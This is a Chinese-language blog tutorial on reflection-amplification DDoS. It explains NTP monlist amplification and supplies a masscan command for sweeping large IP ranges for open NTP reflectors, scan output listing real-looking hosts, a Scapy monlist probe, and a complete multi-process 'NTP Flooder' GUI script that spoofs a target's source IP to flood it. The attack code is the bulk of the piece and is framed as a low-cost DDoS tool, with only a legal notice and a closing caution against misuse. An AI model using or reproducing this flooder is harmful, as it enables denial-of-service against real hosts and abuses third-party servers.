敬告:

《中华人民共和国刑法》第二百八十六条【破坏计算机信息系统罪;网络服务渎职罪】违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚。故意制作、传播计算机病毒等破坏性程序,影响计算机系统正常运行,后果严重的,依照第一款的规定处罚。单位犯前三款罪的,对单位判处罚金,并对其直接负责的主管人员和其他直接责任人员,依照第一款的规定处罚。

一、DDos攻击方式的选择?

DDos攻击,通常指使用大量网络设备,向某个指定主机发送大量无用的数据包,阻塞其网络,使得正常的数据包无法稳定传输,而达到拒绝服务的一种攻击方式。

1. DDos的分类:

总体分类来看,DDOS可以分为三类

  1. 直接攻击型(往往需要大量僵尸主机,与我们的目标-低成本DDOS背道而驰)
  2. 反射型(虽然不需要大量僵尸网络,也可以隐藏真实ip,但是却无法放大流量)
  3. 反射放大型(在反射的基础之上增加放大,威力加倍)

2. 放大型DDos的步骤:

以此来看呢,很明显,反射放大型DDOS是性价比最高的DDOS攻击放大型DDos具体的原理非常简单,大致分为四个步骤:

  1. 攻击者将有欺骗性 IP 地址的 UDP 数据包发送到反射服务器。数据包上的欺骗性地址指向受害者的真实 IP 地址。
  2. 每个 UDP 数据包都向反射服务器发出请求,通常是基于某个协议,以接收尽可能最大的响应。
  3. 反射服务器收到请求后,会向欺骗性 IP 地址发送较大的响应。

目标的 IP 地址接收响应,其周边的网络基础设施被大量流量淹没,从而导致拒绝服务。达到四两拨千斤的攻击效果。放大攻击示意图

反射放大型DDos的实际操作过程中,有许多协议都可以利用,其中较为著名的有DNS放大,SSDP放大,NTP放大等。放大倍率如下:

常见放大攻击
协议 端口 理论放大倍数
DNS 53 28~54
NTP 123 556.9
SNMP 161 6.3
SSDP 1900 30.8
PОRTMAP 111 7~28
QOTD 17 140.3
CHARGEN 19 358.8
TFTP 69 60
NETBIOS 138 3.8
MEMCACHED 11211 10000~50000
WS_DISCOVERY 3702 70~500
CLDAP 389 56~70

可见,其中放大倍率最高的攻击为MEMCACHED协议。然而,MEMCACHAED放大DDOS已经被几乎完全修复

因此,本文中我将带领大家实现NTP型DDos(也是目前被黑客最广泛应用的DDos方式之一)。


二、NTP协议的漏洞?

首先,我们具体分析一下NTP协议:

NTP协议中,包含一个MONLIST功能,该功能的初衷是用于监控NTP服务器。客户端可以构建一个90字节的Mongetlist数据包发送给NTP服务器。然后服务器接收到monlist请求后,就会响应100个数据包,每个数据包482字节


三、理论验证?

1. 收集反射源:

因此说,想要实现NTP型DDos,就必须收集反射服务器,也就是查找开放123端口的主机。扫描主机时,我们可以使用masscan高速互联网端口扫描软件。在Kail linux系统中输入以下命令就可以扫描。

sudo masscan -pU:123 -oX ntp.xml --rate 160000 110.0.0.0-124.0.0.0

这个命令的大致意思是:

  • -Pu:123(使用UDP协议扫描端口123)
  • -oX ntp.xml(输出文件,文件格式为xml,输出目标为ntp.xml)
  • --rate 160000(扫描速度为每秒160000个数据包,带宽越大,这个数字就可以填写的越大)
  • 110.0.0.0-124.0.0.0(扫描的ip网段,扫描全网时间太久)
<?xml version="1.0"?>
<!-- masscan v1.0 scan -->
<nmaprun scanner="masscan" start="1729074937" version="1.0-BETA"  xmloutputversion="1.03">
<scaninfo type="syn" protocol="tcp" />
<host endtime="1729074937"><address addr="111.87.65.18" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
<host endtime="1729075703"><address addr="119.195.171.9" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
<host endtime="1729076264"><address addr="121.247.27.190" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
<host endtime="1729076270"><address addr="116.147.121.133" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
<host endtime="1729078039"><address addr="113.111.104.235" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
<host endtime="1729079781"><address addr="113.111.128.34" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
...
<host endtime="1729080374"><address addr="119.172.95.233" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
<host endtime="1729082019"><address addr="120.204.117.76" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
<host endtime="1729083980"><address addr="123.119.8.68" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
<host endtime="1729086213"><address addr="115.140.209.102" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
<host endtime="1729086373"><address addr="114.252.232.105" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
<host endtime="1729090630"><address addr="122.222.248.16" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>

2. 验证反射源:

接下来我们随便从中选择一个ip,用Python的Scapy发送一个MONGETLIST请求,看看会不会响应:

from scapy.all import *

data = "\x17\x00\x03\x2a" + "\x00" * 44  # NTP monlist packet
packet = IP(dst="103.97.200.65") / UDP(sport=22333, dport=123) / Raw(load=data)
send(packet)

这里我们首先构建一个data数据包,其中的数据就是一个monlist的请求。接下来我们可以使用Wireshark来监听我们自己的端口22333,来检查NTP服务器是否响应了我们的请求。

可见我们的主机发送了一个90字节的请求后,NTP服务器立马响应了100个数据包,每个数据包都是482个字节。

至此,我们的理论验证没有问题。


四、编写最终脚本

1. 测试用的脚本:

接下来我们完善一下发送数据包的脚本,增加一个UI面板,同时实现多线程同时发包。这样就能测试在反复发包时候的流量倍率了。

import base64
import tkinter as tk
from collections import Counter
from multiprocessing import Process, Value, freeze_support
from tkinter import filedialog, messagebox, scrolledtext
import threading
import time
from scapy.all import *
from logo import *

sending = Value('i', 0)


def stop_filter(stop_event):
    return stop_event.is_set()


def sniffer(collected_ips, all_packets, stop_event, adepter):
    # Sniffs incoming network traffic on UDP port 123
    sniff(filter="udp port 123", store=0, prn=lambda p: analyser(p, collected_ips, all_packets),
          iface="WLAN", stop_filter=lambda x: stop_filter(stop_event))


def analyser(packet, collected_ips, all_packets):
    if len(packet) > 200 and packet.haslayer(IP):
        ip_src = packet.getlayer(IP).src
        all_packets.append(ip_src)
        if ip_src not in collected_ips:
            collected_ips.append(ip_src)


def get_available_monlist_servers(monlist_path, scantimes=2, fliter_magnification='1', adepter="WLAN", scandelay=0.02):
    collected_ips = []  # List to store collected IPs
    all_packets = []
    stop_event = threading.Event()  # Create a stop event

    # Start the sniffer thread
    sniffer_thread = threading.Thread(target=sniffer, args=(collected_ips, all_packets, stop_event, adepter))
    sniffer_thread.start()

    # Send packets to each address from the monlist file
    for i in range(scantimes):
        with open(monlist_path, 'r', encoding='utf-8') as logfile:
            for address in logfile:
                address = address.strip()
                send(IP(dst=address) / UDP(sport=123, dport=123) / Raw(load=b"\x10\x00\x03\x20" + b"\x00" * 44),
                     verbose=0, iface=adepter)
                time.sleep(scandelay)
    time.sleep(5)
    # Set the stop event to signal the sniffer to stop
    stop_event.set()
    # send a packet to trigger the stop event
    send(IP(dst="127.0.0.1") / UDP(sport=123, dport=123) / Raw(load="shutdown"), iface=adepter, verbose=0)

    # Wait for the sniffer thread to finish
    sniffer_thread.join()
    count = Counter(all_packets)

    # 排序完成

    # 筛选出发包次数较多的反弹服务器
    if fliter_magnification == 'disable':
        sorted_count = list(dict(sorted(count.items(), key=lambda item: item[1], reverse=True)).keys())
        return sorted_count, sorted_count

    result = list(dict(
        sorted(((key, value) for key, value in count.items() if value > int(fliter_magnification) * scantimes),
               key=lambda item: item[1], reverse=True)).keys())
    return result, result  # Return the collected IPs list


def send_packets_(text, target_ip, target_port, sending, adepter):
    ntp_servers = text.split('\n')
    if target_port == 'random':
        while sending.value:
            mpacket = IP(src=target_ip, dst=ntp_servers) / UDP(sport=random.randint(1, 65535), dport=123) / Raw(
                load=b"\x10\x00\x03\x2a" + b"\x00" * 44)
            send(mpacket, verbose=0, iface=adepter)
    elif '-' in target_port:
        ports = target_port.split('-')
        print(ports)
        while sending.value:
            mpacket = IP(src=target_ip, dst=ntp_servers) / UDP(sport=random.randint(int(ports[0]), int(ports[1])),
                                                               dport=123) / Raw(
                load=b"\x10\x00\x03\x2a" + b"\x00" * 44)
            send(mpacket, verbose=0, iface=adepter)
    else:
        mpacket = IP(src=target_ip, dst=ntp_servers) / UDP(sport=int(target_port), dport=123) / Raw(
            load=b"\x10\x00\x03\x2a" + b"\x00" * 44)
        while sending.value:
            send(mpacket, verbose=0, iface=adepter)


class PacketSenderApp:
    def __init__(self, master):
        self.master = master
        self.master.title("NTP Flooder")

        # Variables
        self.scandelay = tk.DoubleVar(value=0.02)
        self.scantimes = tk.IntVar(value=2)
        self.adepter = tk.StringVar(value='WLAN')
        self.monlist_path = tk.StringVar()
        self.target_ip = tk.StringVar(value = get_if_addr('WLAN'))
        self.process_count = tk.IntVar(value=1)
        self.target_port = tk.StringVar(value='random')
        self.check_servers = tk.BooleanVar()
        self.magnification = tk.StringVar(value='disable')

        # UI Elements
        tk.Label(master, text="Monlist File:").grid(row=0, column=0)
        tk.Entry(master, textvariable=self.monlist_path).grid(row=0, column=1)
        tk.Button(master, text="Browse", command=self.browse_monlist).grid(row=0, column=2)

        tk.Label(master, text="Target IP:").grid(row=1, column=0)
        tk.Entry(master, textvariable=self.target_ip).grid(row=1, column=1)

        tk.Label(master, text="Target port:").grid(row=2, column=0)
        tk.Entry(master, textvariable=self.target_port).grid(row=2, column=1)

        tk.Label(master, text="Process Count:").grid(row=3, column=0)
        tk.Entry(master, textvariable=self.process_count).grid(row=3, column=1)

        self.start_button = tk.Button(master, text="Start Sending", command=self.start_stop_sending)
        self.start_button.grid(row=4, columnspan=3)

        self.check_button = tk.Button(master, text="Check Available Servers", command=self.check_available_servers)
        self.check_button.grid(row=5, columnspan=3)

        # 文本框:显示可用的 NTP 服务器
        self.server_text = scrolledtext.ScrolledText(master, width=40, height=10)
        self.server_text.grid(row=6, columnspan=3)

        tk.Label(master, text="Magnification filter:").grid(row=7, column=0)
        tk.Entry(master, textvariable=self.magnification).grid(row=7, column=1)

        tk.Label(master, text="Net Adepter").grid(row=8, column=0)
        tk.Entry(master, textvariable=self.adepter).grid(row=8, column=1)

        tk.Label(master, text="Scan times").grid(row=9, column=0)
        tk.Entry(master, textvariable=self.scantimes).grid(row=9, column=1)

        tk.Label(master, text="Scan Delay(s)").grid(row=10, column=0)
        tk.Entry(master, textvariable=self.scandelay).grid(row=10, column=1)

        self.is_sending = 0

        self.master.protocol("WM_DELETE_WINDOW", self.on_closing)

    def on_closing(self):
        if self.is_sending:
            if messagebox.askyesno("Confirm", "Packets are currently being sent. Do you really want to exit?"):
                self.is_sending = 0
                sending.value = 0
                self.master.destroy()  # 关闭窗口
        else:
            self.master.destroy()  # 直接关闭窗口

    def browse_monlist(self):
        file_path = filedialog.askopenfilename(filetypes=[("Text files", "*.txt")])
        self.monlist_path.set(file_path)
        if not os.path.exists(self.monlist_path.get()):
            return
        with open(file_path, 'r', encoding='utf-8') as f:
            self.server_text.delete(1.0, tk.END)
            self.server_text.insert(tk.END, f.read())

    def start_stop_sending(self):
        if not self.is_sending:
            process_count = self.process_count.get()
            self.is_sending = 1
            self.start_button.config(text="Stop Sending")

            text = self.server_text.get(1.0, tk.END)
            target_ip = self.target_ip.get()
            target_port = self.target_port.get()
            sending.value = 1
            for i in range(process_count):
                Process(target=send_packets_, args=(text, target_ip, target_port, sending, self.adepter.get())).start()
        else:
            self.is_sending = 0
            sending.value = 0
            self.start_button.config(text="Start Sending")

    def check_available_servers(self):
        monlist_path = self.monlist_path.get()
        _, servers = get_available_monlist_servers(monlist_path, fliter_magnification=self.magnification.get(),
                                                   adepter=self.adepter.get(), scandelay=self.scandelay.get(),
                                                   scantimes=self.scantimes.get())  # 假设这个函数返回可用的服务器列表

        self.server_text.delete(1.0, tk.END)  # 清空文本框
        for server in servers:
            self.server_text.insert(tk.END, f"{server}\n")  # 在文本框中添加可用服务器
        return servers


if __name__ == "__main__":
    freeze_support()
    root = tk.Tk()

    icon = open("gui_icon.ico", "wb+")
    icon.write(base64.b64decode(img))  # 写入到临时文件中
    icon.close()
    root.iconbitmap("gui_icon.ico")
    os.remove("gui_icon.ico")

    app = PacketSenderApp(root)
    root.mainloop()

直接运行代码

2. 脚本的使用方法:

这个脚本的使用方法非常简单:

  1. 在输入框中输入可用的反射源(NTP服务器),或者从txt文件中加载。
  2. 输入目标ip(这里我输入我自己的ip,这样就可以监控返回的流量)
  3. 输入目标端口(NTP端口123)
  4. 输入线程数,线程越多,威力越大,但是需要更强的网卡和CPU(我这里输入1,是因为我主要用于测试反射放大倍率)
  5. 点击“start sending”开始udp洪水

3. 测试DDos的流量:

我们接下来在任务管理器里监听一下网卡的流量:

可见发包流量在500Kbps时,返回的数据流量达到了120Mbps。做一个简单的除法就能得到其放大倍率是240倍。虽然没有达到理论的500倍放大,但依然是很强的流量了

依照这样计算,攻击者就算使用普通的家庭宽带服务,100兆的上传流量,就可以打出2400兆的攻击流量。对于一些国内的低带宽服务器,完全是碾压式的攻击。在把受害者所有的上行流量占满后,任何流量清洗或防火墙都是纸糊的装甲。

至此,我们复现NTP型DDos就算圆满完成了。但是这里还是要提醒大家,请勿攻击他人的设备或服务器,否则都将会受到法律的制裁。

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐